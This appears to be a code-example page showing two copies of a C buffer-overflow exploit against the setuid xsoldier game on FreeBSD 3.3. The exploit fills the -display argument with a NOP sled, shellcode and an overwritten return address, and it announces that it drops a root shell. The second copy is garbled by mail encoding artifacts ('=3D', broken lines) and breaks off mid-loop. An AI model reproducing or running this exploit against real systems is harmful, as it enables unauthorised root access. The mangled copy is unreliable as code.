Exemplo n.º 1
0
main (int argc, char *argv[] ) {
int x = 0;
int y = 0;
int offset = 0;
int bsize = 4400;
char buf[bsize];
int eip = 0xbfbfdb65; /* works for me */
buildui();

if (argv[1]) { 
  offset = atoi(argv[1]);
  eip = eip + offset;
}
fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE
<*****@*****.**>\n");
fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n");
fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);

for ( x = 0; x < 4325; x++) buf[x] = 0x90;
   fprintf(stderr, "NOPs to %d\n", x);

for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
   fprintf(stderr, "Shellcode to %d\n",x);
 
 buf[x++] = eip & 0x000000ff;
 buf[x++] = (eip & 0x0000ff00) >> 8;
 buf[x++] = (eip & 0x00ff0000) >> 16;
 buf[x++] = (eip & 0xff000000) >> 24;
   fprintf(stderr, "eip to %d\n",x);

buf[bsize]='\0';

execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL);

}
Exemplo n.º 2
0
main (int argc, char *argv[] ) {
 int x =3D 0;
 int y =3D 0;
 int offset =3D 0;
 int bsize =3D 4400;
 char buf[bsize];
 int eip =3D 0xbfbfdb65; /* works for me */
 buildui();

 if (argv[1]) { =

   offset =3D atoi(argv[1]);
   eip =3D eip + offset;
 }
 fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE
<*****@*****.**>\n");
 fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n");
 fprintf(stderr, "eip=3D0x%x offset=3D%d buflen=3D%d\n", eip, offset, bsi=
ze);
 =

 for ( x =3D 0; x < 4325; x++) buf[x] =3D 0x90;